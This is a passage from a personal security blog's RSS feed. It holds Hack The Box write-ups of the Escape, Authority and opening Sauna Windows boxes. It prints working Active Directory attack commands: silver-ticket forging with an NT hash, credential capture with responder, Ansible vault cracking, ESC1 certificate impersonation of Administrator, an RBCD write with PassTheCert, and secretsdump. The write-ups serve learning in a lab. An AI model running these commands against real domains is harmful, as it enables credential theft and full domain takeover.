<pre><code class="language-shell">impacket-ticketer -nthash 1443EC19DA4DAC4FFC953BCA1B57B4CF -domain-sid S-1-5-21-4078382237-1492182817-2568127209 -domain sequel.htb -dc-ip 10.129.14.125 -spn sql_svc/DC.SEQUEL.HTB Administrator
</code></pre>

<p>The SPN is irrelevant, but as IppSec states, it is easier to identify this attack if the SPN doesn&#39;t match an actual user, so I just put <code>sql_svc</code>.</p>

<p>This generates a .ccache file that you can export to the <code>KRB5CCNAME</code> variable and use for Kerberos authentication.</p>

<p><img src="https://res.cloudinary.com/dnoisbxzx/image/upload/v1772606160/Pasted_image_20260303195820_uqqksj.png" alt=""></p>

<p>Once you have it set, you can connect to the MSSQL as <code>Administrator</code>.</p>

<p><img src="https://res.cloudinary.com/dnoisbxzx/image/upload/v1772606214/Pasted_image_20260303195843_al08wg.png" alt=""></p>

<p>From here you can read the flags directly. I tried doing some privilege escalation but could not figure out how to copy files without using the expanded procedures, which are executed as the service account. You can write files and read files as <code>Administrator</code>, but I&#39;m not sure how to turn that into full access. <a href="https://swisskyrepo.github.io/InternalAllTheThings/redteam/escalation/windows-privilege-escalation/#eop-privileged-file-write">This site</a> has some ideas for escalation of privilege with privileges file writes, but without the ability to copy files it is difficult to set them up.</p>

<h2 id="lessons-learned">Lessons Learned</h2>

<p>This box was short and sweet, especially after <code>Authority</code> last week, which really humbled me. My biggest challenge on this box was finding credentials for the <code>ryan.cooper</code> user, which just took time and requires experience on Windows machines and knowing what is “usually there” and what isn&#39;t. I might look at some other options, as I haven&#39;t had much success with some of these scripts/programs that search for interesting files.</p>

<p>One other thing I&#39;d like to do is learn how to enumerate certificate templates from PowerShell without any programs. My next Windows box I&#39;m going to try enumerating them through PowerShell instead of <code>Certipy</code>  and seeing what comes back.</p>

<p>Thanks for reading.</p>
]]></content:encoded>
      <guid>https://blog.jjnetops.net/escape</guid>
      <pubDate>Wed, 04 Mar 2026 08:21:18 +0000</pubDate>
    </item>
    <item>
      <title>Authority</title>
      <link>https://blog.jjnetops.net/authority</link>
      <description>&lt;![CDATA[Authority is a medium difficulty Windows box. The box involves pillaging SMB shares for credentials to a web application that uses LDAP for password changes, capturing credentials from the Active Directory (AD) account that is used to make those changes, then getting privilege escalation through AD Certificate Services (CS) and a Resource-based Constrained Delegation (RBCD) attack.&#xA;!--more--&#xA;This box was pretty difficult for me, I&#39;ve seen and done many of the techniques used in this box but not quite in the way that it is presented here. I referred to the walkthrough for the privilege escalation, and needed some assistance with getting ansible2john to take the encrypted vault data.&#xA;&#xA;Contents&#xA;Tools Used&#xA;nmap scan&#xA;SMB Pillaging&#xA;Ansible Vault Cracking&#xA;Getting Remote Access&#xA;Privilege Escalation&#xA;Lessons Learned&#xA;&#xA;Tools Used&#xA;&#xA;nmap - Network mapping tool, used to enumerate a device.&#xA;enum4linux-ng - A tool for enumerating Windows computers through LDAP and RPC queries.&#xA;rpcclient - A tool for enumerating MS-RPC on Linux.&#xA;evil-winrm - A shell to interact with the WinRM protocol originally, but now works with PSRP, the PowerShell equivalent.&#xA;impacket - A collection of tools, although I specifically used getST, psexec, and addcomputer, which allows you to maliciously interact with a Windows system.&#xA;MANSPIDER - A program for spidering SMB shares based on specific filters.&#xA;hashcat - Hash cracking program&#xA;johntheripper - Hash cracking program, although for this box we&#39;re specifically using ansible2john to generate a hash from the Ansible vault, and not the cracking program itself.&#xA;responder - A MiTM program for capturing credentials or hashes.&#xA;certipy - A program for primarily interacting with AD Certificate Services, but has other uses as well. &#xA;PKINITtools - A set of programs for interacting with PKINIT and certificates in an AD domain.&#xA;PassTheCert - A program for interacting with LDAPS via Schannel, for Domain Controllers that do not support PKINIT.&#xA;dsacls) - A program native to Windows for enumerating AD ACLs.&#xA;&#xA;nmap scan&#xA;&#xA;The initial nmap scan was taking a very long time, so I ran just the top 100 ports while running a full scan:&#xA;&#xA;I see the device is listening on DNS, HTTP, RPC, Kerberos, LDAP, SMB, and seems to have a Apache Tomcat debug page enabled.&#xA;&#xA;The device is part of the domain authority.htb, and has a hostname of authority. It is interesting to note here that the subject alternative name also includes authority.htb.corp, and htb.corp. I also see that on port 8443 the commonName is some private IP.&#xA;&#xA;Because the domain uses Kerberos, I sync my NTP to the server using ntpdate and begin enumerating.&#xA;&#xA;Although the web server looks juicy to start, I want to check the SMB shares first to see if I can authenticate with a null session or as Guest.&#xA;&#xA;SMB Pillaging&#xA;&#xA;The SMB shares seem to allow Guest, so I&#39;m looking for some credentials in here.&#xA;&#xA;There are quite a few directories, so I decide to use MANSPIDER to look for interesting information, such as files with contents containing &#34;passw&#34; or &#34;admin&#34; using the -c switch.&#xA;&#xA;manspider 10.129.7.224 -c passw admin -d authority.htb -u guest -p &#39;&#39;&#xA;&#xA;MANSPIDER finds quite a few interesting bits, including what looks like the Apache Tomcat login. I&#39;m not going to include the entire output because its a lot, but this is what some of it looks like.&#xA;&#xA;I look through the results and add the credentials to my captured credentials files. I think its important to discuss here how I store credentials that have been found, based on a recommendation from IppSec.&#xA;&#xA;I have a usernames.list, a passwords.list and a credentials.list file. By having all of these together and separated it makes it easy to run specific lists. If I need to password spray, I can use just passwords.list, if I need to see what credentials were found together and are functional I can use credentials.list.&#xA;&#xA;It seems like most of this share is focused on Ansible playbooks. Ansible is an automation program for configuring programs, devices, or other things using a set of &#34;playbooks&#34; that come as .yml files. These playbooks should include credentials for setting these things up. I could keep enumerating these files, but it seems like most of them are referring to an environmental variable for their password, so I don&#39;t know how far I&#39;ll get for now.&#xA;&#xA;Some default Apache Tomcat credentials were found in a directory named &#34;PWM&#34;; which after a cursory google search shows that its some kind of password self-service application for LDAP. This would be a great target to get credentials to an LDAP service account. I go to the website that is listening on port 8443 (the website on port 80 is just the default IIS page), and I see the PWM configuration mode menu. The page wants a username and password to login, or a configuration password to configure it.&#xA;&#xA;When attempting to login, I get an error stating it cannot bind to port 636 (LDAPS) and it is trying to use the account svcldap. This might give us an account I can try spraying. When looking at the configuration manage screen I also see another account svcpwm, this one being in the Users OU instead of Service Accounts. I add both of these to my usernames list.&#xA;&#xA;SIDE NOTE: A note about this that I saw in the IppSec video, because the Guest account is enabled, any account that does not exist will &#34;authenciate&#34; as Guest. What this means, is that I can test if an account is actually in the domain by checking if it authenticates with a bogus password. In the video, he uses netexec smb to check this. The svcpwm account authenticates with any password, which means its authenticating as guest, so I know this account does not exist in the domain and may be an account specifically for the PWM website.&#xA;&#xA;Having a couple passwords and usernames, I run an enum4linux-ng scan as the Guest user to enumerate the password policy.  The password policy does not enumerate, so I will not try spraying yet.&#xA;&#xA;Ansible Vault Cracking&#xA;&#xA;While digging through the Ansible files again, I see some Ansible vaults, where is encrypted information for use by Ansible for setting passwords.&#xA;&#xA;These will contain some credentials that I want, so following this guide I attempt to crack them. I will note here that I was having a lot of difficulty getting ansible2john to recognize the hash. The guide above shows a single long line with a single space between each group of numbers, so to get to that format I remove the newlines and only have a single space between the lines of numbers, but it was still not recognizing it. I eventually looked at the walkthrough that is posted on hackthebox and saw that the only removal that needs to occur is on the tabs that indent the lines of encrypted string. This can be done with the following sed command:&#xA;&#xA;sed -i &#39;s/^[ \t]*//&#39; vault3.test&#xA;Where vault3.test is a file in the correct format for the Ansible vault.&#xA;&#xA;Here is an example of the &#34;original&#34; encrypted vault as shown in the main.yml file, and the &#34;corrected&#34; string that can be read by ansible2john.&#xA;&#xA;Now that I&#39;ve got a hash with ansible2john, I run them through hashcat and it shows that all vaults contain the same password.&#xA;&#xA;I decrypt the vaults (in the same format as they were run through ansible2john) using ansible-vault decrypt, and the vaults show us the username and password of the svcpwm account, and the password for ldap.&#xA;&#xA;This svcpwm account I see here seems to be for setting up the PWM server that is listening on port 8443, but it may also be the password for a account local to the machine or in the domain, so I&#39;ll add these credentials to my lists.&#xA;&#xA;The username and password do not work for logging into PWM, but the password works as the configuration password for PWM.&#xA;&#xA;Looking at the page, there are a few things here I can enumerate. I start by clicking &#34;Download Configuration&#34;, and it warns me that it may contain sensitive data, so I feel like I&#39;m on the right path.&#xA;&#xA;I find a few hashes in the configuration .xml that can be downloaded, but I&#39;m not sure what kind of hashes they are. They look like base64, but when attempting to decode them nothing usable comes up&#xA;&#xA;I do see on the configuration there is a place to change the value of the LDAP server address it is authenticating to. I replace this address with my own, and run responder to capture any credentials or hashes. After importing the configuration, the site immediately tries to authenticate and I get the cleartext LDAP credentials.&#xA;&#xA;Getting Remote Access&#xA;&#xA;With password in hand, I can authenticate to the domain as the svcldap user. The user even has remote access privileges, so I access using evil-winrm and start enumerating the domain.&#xA;&#xA;It looks like there are no other user accounts, so I&#39;m targeting the Administrator user.&#xA;&#xA;I use dsacls to enumerate the domain and look for weak ACLs. I check the computer object, and the Administrator account and neither seem to have weak ACLs for me to abuse.&#xA;&#xA;I check certipy to look for any weak certificate templates, and I do see one that is marked as being vulnerable to ESC1. &#xA;&#xA;This one allows a member of &#34;Domain Computers&#34; to enroll in the certificate and supply their own subject, so I could enroll in this and supply &#39;Administrator&#39; as the subject and get a certificate for that user.&#xA;&#xA;I got stuck here for some time, I know that this certificate template is weak and can be used for privilege escalation but I&#39;m not sure how to get a domain computer account for the escalation. I refer to the walkthrough and have it slowly help me through identifying the path to privilege escalation.&#xA;&#xA;The walkthrough tells us to create a computer account using the impacket script addcomputer. I feel pretty foolish for not thinking of that, because I&#39;ve done this before in a RBCD attack. I create a computer account so that I can interact with the weak certificate template using the script. &#xA;&#xA;SIDE NOTE: I think its interesting to note here that by default, user accounts are given a quota of 10 computer accounts that they can add to the domain. Why this default configuration exists, I don&#39;t know. We can check this entry by using crackmapexec smb [target,account] -M MAQ targeting the domain controller with our account and it will show us the quota allowed for the user to enroll computer accounts.&#xA;&#xA;Privilege Escalation&#xA;&#xA;With a domain computer object, I can request enrollment into that certificate using the following command:&#xA;&#xA;certipy req -u BACKUP$ -password &#39;pass@123&#39; -ca authority-ca -dc-ip 10.129.11.141 -template CorpVPN -upn administrator@authority.htb&#xA;&#xA;This command enrolls the computer account in the &#39;CorpVPN&#39; certificate, and I supply my own User Principle Name (UPN) with that of Administrator, which means when the certificate is provided, it is for the Administrator user.&#xA;&#xA;From here, I attempted to get a TGT ccache file using PKINIT tools (you can also use Certipy auth for this), which gives me an error. Referring back to the walkthrough, this is expected because the domain controller does not support PKINIT. The walkthrough advises that we can refer to this blogpost that mentions the ability to authenticate using the generated certificate through Schannel using a tool called PassTheCert. We cannot authenticate to Kerberos using the .PFX certificate, but we can authenticate to LDAPS using the certificate.&#xA;&#xA;To use PassTheCert, I need to extract the client certificate and key from the .pfx file that was generated before. (Certipy cert can also do this, as demonstrated in IppSec&#39;s video)&#xA;&#xA;openssl pkcs12 -in administratorauthority.pfx -nocerts -out administrator.key&#xA;openssl pkcs12 -in administratorauthority.pfx -clcerts -nokeys -out administrator.crt&#xA;&#xA;This extracts the key, and the client cert that I can then pass to PassTheCert. This changes the privilege escalation path a bit, I can authenticate to LDAPS as Administrator, so now instead of just logging in directly, I will focus on changes I can make via LDAPS.&#xA;&#xA;The PassTheCert tool allows me to perform a Resource-based Constrained Delegation (RBCD) attack. In this attack, I specify that specific resources can allow other identities to act on behalf of them. In my case, I want my BACKUP$ machine account to be able to act on behalf of AUTHORITY$, the machine account for the domain controller.&#xA;&#xA;SIDE NOTE: After doing this box and watching the IppSec video, I think its interesting to note that in his attempt he uses the PassTheCert program and instead of doing the RBCD attack, he uses the &#34;ldap-shell&#34;, which allows him to add the svcldap user to Administrators group and get access that way.&#xA;&#xA;I do this with the following command:&#xA;&#xA;python3 ./passthecert.py -dc-ip 10.129.11.141 -key administrator.key -crt administrator.crt -domain authority.htb -port 636 -action writerbcd -delegate-to &#39;AUTHORITY$&#39; -delegate-from &#39;BACKUP$&#39;&#xA;&#xA;This configures BACKUP$ to be able to impersonate AUTHORITY$ using S4U2Proxy, a method of getting a service ticket on behalf of another user.&#xA;&#xA;Finally, I use impacket-getST to get a TGT ccache file for Kerberos authentication. I specify the Service Principal Name (SPN) for cifs so that I can write to the computer using the filesystem. This process authenticates as BACKUP$, then uses the S4U2Proxy to request the TGS on behalf of AUTHORITY$. This creates a ccache file that I can use for Kerberos authentication to cifs.&#xA;&#xA;For doing Kerberos authentication on Linux, its important to set your KRB5CCNAME environmental variable to the file location.&#xA;&#xA;export KRB5CCNAME=Administrator.ccache&#xA;&#xA;Then I can authenticate using that file to either dump hashes, or get remote access with impacket-psexec.&#xA;&#xA;impacket-psexec -k -no-pass authority.htb/Administrator@authority.authority.htb&#xA;For using impacket-psexec, its important to specify the account as Administrator@authority.authority.htb. This tells it you&#39;re authenticating to the local Administrator account on the box and not the domain Administrator account.&#xA;&#xA;I can also do impacket-secretsdump to dump all the hashes and get the domain Administrator account.&#xA;&#xA;Lessons Learned&#xA;&#xA;I learned a lot on this box, I was aware of the concepts needed for privilege escalation but putting them together is what puzzled me. I think as I do more boxes, I&#39;ll feel more comfortable understanding specific pieces of the escalation process so I can mix-and-match them to account for variables. Getting initial access was not very difficult besides the struggle with the ansible2john formatting.&#xA;&#xA;]]&gt;</description>
      <content:encoded><![CDATA[<p>Authority is a medium difficulty Windows box. The box involves pillaging SMB shares for credentials to a web application that uses LDAP for password changes, capturing credentials from the Active Directory (AD) account that is used to make those changes, then getting privilege escalation through AD Certificate Services (CS) and a Resource-based Constrained Delegation (RBCD) attack.

This box was pretty difficult for me, I&#39;ve seen and done many of the techniques used in this box but not quite in the way that it is presented here. I referred to the walkthrough for the privilege escalation, and needed some assistance with getting <code>ansible2john</code> to take the encrypted vault data.</p>

<h2 id="contents">Contents</h2>
<ul><li><a href="#tools-used">Tools Used</a></li>
<li><a href="#nmap-scan">nmap scan</a></li>
<li><a href="#smb-pillaging">SMB Pillaging</a></li>
<li><a href="#ansible-vault-cracking">Ansible Vault Cracking</a></li>
<li><a href="#getting-remote-access">Getting Remote Access</a></li>
<li><a href="#privilege-escalation">Privilege Escalation</a></li>
<li><a href="#lessons-learned">Lessons Learned</a></li></ul>

<h2 id="tools-used">Tools Used</h2>

<p><a href="https://nmap.org">nmap</a> – Network mapping tool, used to enumerate a device.
<a href="https://github.com/cddmp/enum4linux-ng">enum4linux-ng</a> – A tool for enumerating Windows computers through LDAP and RPC queries.
<a href="https://www.samba.org/samba/docs/current/man-html/rpcclient.1.html">rpcclient</a> – A tool for enumerating MS-RPC on Linux.
<a href="https://github.com/Hackplayers/evil-winrm">evil-winrm</a> – A shell to interact with the WinRM protocol originally, but now works with PSRP, the <code>PowerShell</code> equivalent.
<a href="https://github.com/fortra/impacket">impacket</a> – A collection of tools, although I specifically used <code>getST</code>, <code>psexec</code>, and <code>addcomputer</code>, which allows you to maliciously interact with a Windows system.
<a href="https://github.com/blacklanternsecurity/MANSPIDER">MANSPIDER</a> – A program for spidering SMB shares based on specific filters.
<a href="https://hashcat.net/hashcat/">hashcat</a> – Hash cracking program
<a href="https://github.com/openwall/john">johntheripper</a> – Hash cracking program, although for this box we&#39;re specifically using <code>ansible2john</code> to generate a hash from the Ansible vault, and not the cracking program itself.
<a href="https://github.com/SpiderLabs/Responder">responder</a> – A MiTM program for capturing credentials or hashes.
<a href="https://github.com/ly4k/Certipy">certipy</a> – A program for primarily interacting with AD Certificate Services, but has other uses as well.
<a href="https://github.com/dirkjanm/PKINITtools">PKINITtools</a> – A set of programs for interacting with PKINIT and certificates in an AD domain.
<a href="https://github.com/AlmondOffSec/PassTheCert">PassTheCert</a> – A program for interacting with LDAPS via Schannel, for Domain Controllers that do not support PKINIT.
<a href="https://learn.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2012-r2-and-2012/cc771151(v=ws.11)">dsacls</a> – A program native to Windows for enumerating AD ACLs.</p>

<h2 id="nmap-scan">nmap scan</h2>

<p>The initial <code>nmap</code> scan was taking a very long time, so I ran just the top 100 ports while running a full scan:</p>

<p><img src="https://res.cloudinary.com/dnoisbxzx/image/upload/v1772355787/Pasted_image_20260225050133_lbrdn1.png" alt=""></p>

<p>I see the device is listening on DNS, HTTP, RPC, Kerberos, LDAP, SMB, and seems to have a Apache Tomcat debug page enabled.</p>

<p>The device is part of the domain <code>authority.htb</code>, and has a hostname of <code>authority</code>. It is interesting to note here that the subject alternative name also includes <code>authority.htb.corp</code>, and <code>htb.corp</code>. I also see that on port <code>8443</code> the commonName is some private IP.</p>

<p>Because the domain uses Kerberos, I sync my NTP to the server using <code>ntpdate</code> and begin enumerating.</p>

<p>Although the web server looks juicy to start, I want to check the SMB shares first to see if I can authenticate with a null session or as <code>Guest</code>.</p>

<h2 id="smb-pillaging">SMB Pillaging</h2>

<p>The SMB shares seem to allow <code>Guest</code>, so I&#39;m looking for some credentials in here.</p>

<p><img src="https://res.cloudinary.com/dnoisbxzx/image/upload/v1772355787/Pasted_image_20260225094247_jyhj3c.png" alt=""></p>

<p>There are quite a few directories, so I decide to use MANSPIDER to look for interesting information, such as files with contents containing “passw” or “admin” using the <code>-c</code> switch.</p>

<pre><code class="language-shell">manspider 10.129.7.224 -c passw admin -d authority.htb -u guest -p &#39;&#39;
</code></pre>

<p>MANSPIDER finds quite a few interesting bits, including what looks like the Apache Tomcat login. I&#39;m not going to include the entire output because its a lot, but this is what some of it looks like.</p>

<p><img src="https://res.cloudinary.com/dnoisbxzx/image/upload/v1772355788/Pasted_image_20260225103652_dh4oov.png" alt=""></p>

<p>I look through the results and add the credentials to my captured credentials files. I think its important to discuss here how I store credentials that have been found, based on a recommendation from <a href="https://www.youtube.com/@ippsec">IppSec</a>.</p>

<p>I have a <code>usernames.list</code>, a <code>passwords.list</code> and a <code>credentials.list</code> file. By having all of these together and separated it makes it easy to run specific lists. If I need to password spray, I can use just <code>passwords.list</code>, if I need to see what credentials were found together and are functional I can use <code>credentials.list</code>.</p>

<p>It seems like most of this share is focused on Ansible playbooks. Ansible is an automation program for configuring programs, devices, or other things using a set of “playbooks” that come as <code>.yml</code> files. These playbooks should include credentials for setting these things up. I could keep enumerating these files, but it seems like most of them are referring to an environmental variable for their password, so I don&#39;t know how far I&#39;ll get for now.</p>

<p>Some default Apache Tomcat credentials were found in a directory named “PWM”; which after a cursory google search shows that its some kind of password self-service application for LDAP. This would be a great target to get credentials to an LDAP service account. I go to the website that is listening on port <code>8443</code> (the website on port <code>80</code> is just the default IIS page), and I see the PWM configuration mode menu. The page wants a username and password to login, or a configuration password to configure it.</p>

<p><img src="https://res.cloudinary.com/dnoisbxzx/image/upload/v1772355801/Pasted_image_20260226033548_sopfam.png" alt=""></p>

<p>When attempting to login, I get an error stating it cannot bind to port 636 (LDAPS) and it is trying to use the account <code>svc_ldap</code>. This might give us an account I can try spraying. When looking at the configuration manage screen I also see another account <code>svc_pwm</code>, this one being in the <code>Users</code> OU instead of <code>Service Accounts</code>. I add both of these to my usernames list.</p>

<pre><code>SIDE NOTE: A note about this that I saw in the [IppSec video](https://www.youtube.com/watch?v=7AF5riqLy-8), because the `Guest` account is enabled, any account that does not exist will &#34;authenciate&#34; as `Guest`. What this means, is that I can test if an account is actually in the domain by checking if it authenticates with a bogus password. In the video, he uses `netexec smb` to check this. The `svc_pwm` account authenticates with any password, which means its authenticating as guest, so I know this account does not exist in the domain and may be an account specifically for the PWM website.
</code></pre>

<p>Having a couple passwords and usernames, I run an <code>enum4linux-ng</code> scan as the <code>Guest</code> user to enumerate the password policy.  The password policy does not enumerate, so I will not try spraying yet.</p>

<h2 id="ansible-vault-cracking">Ansible Vault Cracking</h2>

<p>While digging through the Ansible files again, I see some Ansible vaults, where is encrypted information for use by Ansible for setting passwords.</p>

<p><img src="https://res.cloudinary.com/dnoisbxzx/image/upload/v1772355789/Pasted_image_20260226030801_sbaldb.png" alt=""></p>

<p>These will contain some credentials that I want, so following <a href="https://www.bengrewell.com/cracking-ansible-vault-secrets-with-hashcat/">this guide</a> I attempt to crack them. I will note here that I was having a lot of difficulty getting <code>ansible2john</code> to recognize the hash. The guide above shows a single long line with a single space between each group of numbers, so to get to that format I remove the newlines and only have a single space between the lines of numbers, but it was still not recognizing it. I eventually looked at the walkthrough that is posted on hackthebox and saw that the only removal that needs to occur is on the tabs that indent the lines of encrypted string. This can be done with the following <code>sed</code> command:</p>

<pre><code class="language-shell">sed -i &#39;s/^[ \t]*//&#39; vault3.test
</code></pre>

<p>Where <code>vault3.test</code> is a file in the correct format for the Ansible vault.</p>

<p>Here is an example of the “original” encrypted vault as shown in the <code>main.yml</code> file, and the “corrected” string that can be read by <code>ansible2john</code>.</p>

<p><img src="https://res.cloudinary.com/dnoisbxzx/image/upload/v1772355790/Pasted_image_20260226031441_ahdsrd.png" alt=""></p>

<p>Now that I&#39;ve got a hash with <code>ansible2john</code>, I run them through <code>hashcat</code> and it shows that all vaults contain the same password.</p>

<p>I decrypt the vaults (in the same format as they were run through <code>ansible2john</code>) using <code>ansible-vault decrypt</code>, and the vaults show us the username and password of the <code>svc_pwm</code> account, and the password for ldap.</p>

<p>This <code>svc_pwm</code> account I see here seems to be for setting up the PWM server that is listening on port <code>8443</code>, but it may also be the password for a account local to the machine or in the domain, so I&#39;ll add these credentials to my lists.</p>

<p>The username and password do not work for logging into PWM, but the password works as the configuration password for PWM.</p>

<p>Looking at the page, there are a few things here I can enumerate. I start by clicking “Download Configuration”, and it warns me that it may contain sensitive data, so I feel like I&#39;m on the right path.</p>

<p>I find a few hashes in the configuration <code>.xml</code> that can be downloaded, but I&#39;m not sure what kind of hashes they are. They look like base64, but when attempting to decode them nothing usable comes up</p>

<p>I do see on the configuration there is a place to change the value of the LDAP server address it is authenticating to. I replace this address with my own, and run <code>responder</code> to capture any credentials or hashes. After importing the configuration, the site immediately tries to authenticate and I get the cleartext LDAP credentials.</p>

<p><img src="https://res.cloudinary.com/dnoisbxzx/image/upload/v1772355840/Pasted_image_20260228024720_z8jvs4.png" alt=""></p>

<h2 id="getting-remote-access">Getting Remote Access</h2>

<p>With password in hand, I can authenticate to the domain as the <code>svc_ldap</code> user. The user even has remote access privileges, so I access using <code>evil-winrm</code> and start enumerating the domain.</p>

<p>It looks like there are no other user accounts, so I&#39;m targeting the <code>Administrator</code> user.</p>

<p>I use <code>dsacls</code> to enumerate the domain and look for weak ACLs. I check the computer object, and the <code>Administrator</code> account and neither seem to have weak ACLs for me to abuse.</p>

<p>I check <code>certipy</code> to look for any weak certificate templates, and I do see one that is marked as being vulnerable to ESC1.</p>

<p><img src="https://res.cloudinary.com/dnoisbxzx/image/upload/v1772355842/Pasted_image_20260228081521_tpyypk.png" alt=""></p>

<p>This one allows a member of “Domain Computers” to enroll in the certificate and supply their own subject, so I could enroll in this and supply &#39;Administrator&#39; as the subject and get a certificate for that user.</p>

<p>I got stuck here for some time, I know that this certificate template is weak and can be used for privilege escalation but I&#39;m not sure how to get a domain computer account for the escalation. I refer to the walkthrough and have it slowly help me through identifying the path to privilege escalation.</p>

<p>The walkthrough tells us to create a computer account using the <code>impacket</code> script <code>addcomputer</code>. I feel pretty foolish for not thinking of that, because I&#39;ve done this before in a RBCD attack. I create a computer account so that I can interact with the weak certificate template using the script.</p>

<p><img src="https://res.cloudinary.com/dnoisbxzx/image/upload/v1772355843/Pasted_image_20260228160643_jfadsi.png" alt=""></p>

<pre><code>SIDE NOTE: I think its interesting to note here that by default, user accounts are given a quota of 10 computer accounts that they can add to the domain. Why this default configuration exists, I don&#39;t know. We can check this entry by using `crackmapexec smb [target,account] -M MAQ` targeting the domain controller with our account and it will show us the quota allowed for the user to enroll computer accounts.
</code></pre>

<h2 id="privilege-escalation">Privilege Escalation</h2>

<p>With a domain computer object, I can request enrollment into that certificate using the following command:</p>

<pre><code class="language-shell">certipy req -u BACKUP$ -password &#39;pass@123&#39; -ca authority-ca -dc-ip 10.129.11.141 -template CorpVPN -upn administrator@authority.htb
</code></pre>

<p><img src="https://res.cloudinary.com/dnoisbxzx/image/upload/v1772355786/Pasted_image_20260228161105_gaaljo.png" alt=""></p>

<p>This command enrolls the computer account in the &#39;CorpVPN&#39; certificate, and I supply my own User Principle Name (UPN) with that of <code>Administrator</code>, which means when the certificate is provided, it is for the <code>Administrator</code> user.</p>

<p>From here, I attempted to get a TGT ccache file using <code>PKINIT</code> tools (you can also use <code>Certipy auth</code> for this), which gives me an error. Referring back to the walkthrough, this is expected because the domain controller does not support PKINIT. The walkthrough advises that we can refer to <a href="https://offsec.almond.consulting/authenticating-with-certificates-when-pkinit-is-not-supported.html">this blogpost</a> that mentions the ability to authenticate using the generated certificate through Schannel using a tool called <code>PassTheCert</code>. We cannot authenticate to Kerberos using the <code>.PFX</code> certificate, but we can authenticate to LDAPS using the certificate.</p>

<p>To use <code>PassTheCert</code>, I need to extract the client certificate and key from the .pfx file that was generated before. (Certipy cert can also do this, as demonstrated in <a href="https://www.youtube.com/watch?v=7AF5riqLy-8">IppSec&#39;s video</a>)</p>

<pre><code class="language-shell">openssl pkcs12 -in administrator_authority.pfx -nocerts -out administrator.key
openssl pkcs12 -in administrator_authority.pfx -clcerts -nokeys -out administrator.crt
</code></pre>

<p>This extracts the key, and the client cert that I can then pass to <code>PassTheCert</code>. This changes the privilege escalation path a bit, I can authenticate to LDAPS as <code>Administrator</code>, so now instead of just logging in directly, I will focus on changes I can make via LDAPS.</p>

<p>The <code>PassTheCert</code> tool allows me to perform a Resource-based Constrained Delegation (RBCD) attack. In this attack, I specify that specific resources can allow other identities to act on behalf of them. In my case, I want my <code>BACKUP$</code> machine account to be able to act on behalf of <code>AUTHORITY$</code>, the machine account for the domain controller.</p>

<pre><code>SIDE NOTE: After doing this box and watching the IppSec video, I think its interesting to note that in his attempt he uses the `PassTheCert` program and instead of doing the RBCD attack, he uses the &#34;ldap-shell&#34;, which allows him to add the `svc_ldap` user to `Administrators` group and get access that way.
</code></pre>

<p>I do this with the following command:</p>

<pre><code class="language-shell">python3 ./passthecert.py -dc-ip 10.129.11.141 -key administrator.key -crt administrator.crt -domain authority.htb -port 636 -action write_rbcd -delegate-to &#39;AUTHORITY$&#39; -delegate-from &#39;BACKUP$&#39;
</code></pre>

<p>This configures <code>BACKUP$</code> to be able to impersonate <code>AUTHORITY$</code> using <code>S4U2Proxy</code>, a method of getting a service ticket on behalf of another user.</p>

<p><img src="https://res.cloudinary.com/dnoisbxzx/image/upload/v1772355790/Pasted_image_20260226031441_ahdsrd.png" alt=""></p>

<p>Finally, I use <code>impacket-getST</code> to get a TGT ccache file for Kerberos authentication. I specify the Service Principal Name (SPN) for <code>cifs</code> so that I can write to the computer using the filesystem. This process authenticates as <code>BACKUP$</code>, then uses the S4U2Proxy to request the TGS on behalf of <code>AUTHORITY$</code>. This creates a ccache file that I can use for Kerberos authentication to <code>cifs</code>.</p>

<p>For doing Kerberos authentication on Linux, its important to set your KRB5CCNAME environmental variable to the file location.</p>

<pre><code class="language-shell">export KRB5CCNAME=Administrator.ccache
</code></pre>

<p>Then I can authenticate using that file to either dump hashes, or get remote access with <code>impacket-psexec</code>.</p>

<pre><code class="language-shell">impacket-psexec -k -no-pass authority.htb/Administrator@authority.authority.htb
</code></pre>

<p>For using <code>impacket-psexec</code>, its important to specify the account as <code>Administrator@authority.authority.htb</code>. This tells it you&#39;re authenticating to the local <code>Administrator</code> account on the box and not the domain <code>Administrator</code> account.</p>

<p>I can also do <code>impacket-secretsdump</code> to dump all the hashes and get the domain <code>Administrator</code> account.</p>

<h2 id="lessons-learned">Lessons Learned</h2>

<p>I learned a lot on this box, I was aware of the concepts needed for privilege escalation but putting them together is what puzzled me. I think as I do more boxes, I&#39;ll feel more comfortable understanding specific pieces of the escalation process so I can mix-and-match them to account for variables. Getting initial access was not very difficult besides the struggle with the <code>ansible2john</code> formatting.</p>
]]></content:encoded>
      <guid>https://blog.jjnetops.net/authority</guid>
      <pubDate>Sun, 01 Mar 2026 09:04:56 +0000</pubDate>
    </item>
    <item>
      <title>Sauna</title>
      <link>https://blog.jjnetops.net/sauna</link>
      <description>&lt;![CDATA[Sauna is an easy difficulty Windows box. The box involves enumerating a webpage to get possible user accounts, check for weak accounts that are ASREPRoast-able, then further enumerating the box to get access to an account that has privileges to perform a DCSync attack.&#xA;!--more--&#xA;While the box is considered &#34;easy&#34;, it contained a lot of methods for enumeration and exploitation that I don&#39;t have experience or plain was not aware of so it took a lot more time than expected. I learned a lot of new techniques, and for that I am happy.&#xA;&#xA;A small note about this writeup: I did the majority of this box in January but stepped away from it for several weeks before wrapping it up recently. Due to the break in time, this writeup is not as verbose as I would typically want and does not contain as many screen captures as it should.&#xA;&#xA;Contents&#xA;Tools Used&#xA;nmap scan&#xA;Initial Enumeration&#xA;Getting Remote Access&#xA;Lateral Movement and Privilege Escalation&#xA;Lessons Learned&#xA;&#xA;Tools Used&#xA;&#xA;nmap - Network mapping tool, used to enumerate a device.&#xA;enum4linux-ng - A tool for enumerating Windows computers through LDAP and RPC queries.&#xA;rpcclient - A tool for enumerating MS-RPC on Linux.&#xA;evil-winrm - A shell to interact with the WinRM protocol originally, but now works with PSRP, the PowerShell equivalent.&#xA;ffuf - A tool for web fuzzing, primarily used for enumeration of webpages.&#xA;impacket - A collection of tools, although I specifically used getnpusers, psexec, and secretsdump, which allows you to maliciously interact with a Windows system.&#xA;ldapsearch - A tool developed by the team that developed LDAPv3 at the Internet Engineering Task Force (IETF).&#xA;username-anarchy - A tool for generating usernames based on providing key information that commonly makes up usernames.&#xA;&#xA;nmap scan&#xA;&#xA;The initial nmap scan shows a Windows machine with LDAP, Kerberos, WinRM, and other Windows Active Directory (AD) ports. The only thing unusual that sticks out is that it is listening on port 80, which is typically associated with HTTP. The device is part of the domain EGOTISTICAL-BANK.LOCAL. After identifying that this box utilizes Kerberos, I synchronize my clock to the target&#39;s.&#xA;&#xA;Initial Enumeration&#xA;&#xA;My first target for enumeration is the SMB shares, but it looks like the Guest account is disabled, so I am not able to authenticate to any of the 